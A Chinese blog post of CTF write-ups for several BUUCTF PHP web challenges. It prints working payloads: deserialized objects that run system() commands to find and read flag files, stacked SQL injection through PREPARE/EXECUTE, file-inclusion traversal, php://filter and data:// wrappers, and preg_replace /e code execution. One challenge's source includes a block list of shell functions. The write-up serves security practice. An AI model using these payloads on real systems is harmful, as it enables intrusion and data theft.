BUU-web学习

[网鼎杯 2020 朱雀组]phpweb

原页面会不停的刷新
主页面抓包
发现可以传参
在这里插入图片描述

尝试

func=file_get_contents&p=index.php

得到以下源码:

<?php
 $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

反序列化
构造:

<?php
class Test{
    var $p="ls";
    var $func="system";
    
}
echo serialize(new Test());
?>

在这里插入图片描述
没有发现flag
查看下目录

<?php
class Test{
    var $p="ls /";
    var $func="system";
    
}
echo serialize(new Test());
?>

依旧没有flag
在这里插入图片描述
那么就直接查找flag字样

<?php
class Test{
    var $p="find / -name flag*";
    var $func="system";
    
}
echo serialize(new Test());
?>

过程稍慢,文件有点多
最后的临时文件
在这里插入图片描述
最后的exp:

<?php
class Test{
    var $p="cat /tmp/flagoefiu4r93";
    var $func="system";
    
}
echo serialize(new Test());
?>
在这里插入图片描述

[极客大挑战 2019]BuyFlag

查看源码:

~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

获取当前POST密码
不能全为数字,php弱类型绕过

password=404kk

抓包
在这里插入图片描述
Cookie这里明显有身份验证的注入点

在这里插入图片描述
下面输入密码和money
之前做了好多次,输入密码后回显内容还是上一步的
所以这次直接在页面传参再抓包
在这里插入图片描述
这次正确了
但是money长度太长
下面使用科学记数法1e9
拿到flag
在这里插入图片描述

[HCTF 2018]WarmUp

根据提示
source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

hint.php

flag not here, and flag in ffffllllaaaagggg

根据源码
我们得知白名单有soruce.phphint.php
我们能利用的点就是

$_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );

该函数会把?前面的内容打印出来
后面还有个include函数
思路:
利用include函数进行包含,来解析ffffllllaaaagggg的内容
所以payload:

?file=source.php?/../../../../ffffllllaaaagggg
在这里插入图片描述

[强网杯 2019]随便注

查询是给了返回值

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

那就没法会用联合注入了(过滤了select)

可以尝试堆叠注入
类似如此

select 1;select 2;select 3

查询数据库

1';show databases;

在这里插入图片描述
查询表

1';show tables;

在这里插入图片描述
查询列

1';show columns from `1919810931114514`;

在这里插入图片描述
发现有flag
最后查询值
select被过滤了
替换方法
1、
在这里插入图片描述
ascill码替换

char(115,101,108,101,99,116)

2、
(‘sel’,‘ect’)
这里涉及到新的知识点
预定义语句
大致格式:

PREPARE '随便起' from sql; EXECUTE '前面起的名字';注释符

所以下面我们得到了两条payload

1';PREPARE ki10Moc from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE ki10Moc;#
1';PREPARE KI10Moc from concat('sel','ect * from `1919810931114514` ');EXECUTE ki10Moc;#
在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

根据源码可以看出
需要在text写入welcome to the zjctf
并且flag被过滤了
开始传参
这里我直接传参?text=welcome to the zjctf
无果
考虑到data协议可以写入内容
就在这里使用

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

file使用filter读取useless.php

file=php://filter/read=convert.base64-encode/resource=useless.php

传参后得到passwd的base64的值
在这里插入图片描述
源码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

源码是将file内容指定为flag.php
通过file_get_contents函数读取
直接序列化得到

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[BJDCTF2020]ZJCTF,不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

和上一题大有相同

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

得到源码解码后

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

preg_replace/e
这里是preg_replace的e模式,导致可以执行代码

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

知识点

?\S*=${phpinfo()}
在这里插入图片描述

1、利用getFlag函数和cmd传值

?\S*=${getFlag()}&cmd=system('cat /flag');

2、GET

?\S*=${eval($_POST[1])}

POST

1=system('tac /flag');

简而言之,根据官方给的payload

?\S*={这里执行函数代码}

具体原理
请点我

[极客大挑战 2019]PHP

www.zip源码泄露

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

修饰词为private,切PHP版本<7.1,存在不可见字符打印的时候不可忽略

exp:

<?php
class Name{
    private $username='admin';
    private $password='100';
    }
echo urlencode(serialize(new Name()));
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
?>

在这里插入图片描述
将这里的值修改为3来绕过__invoke()
当对象属性个数大于真实属性个数即可
在这里插入图片描述

本题反序列化入门
具体可以看Y4的反序列化总结

发表评论

您的电子邮箱地址不会被公开。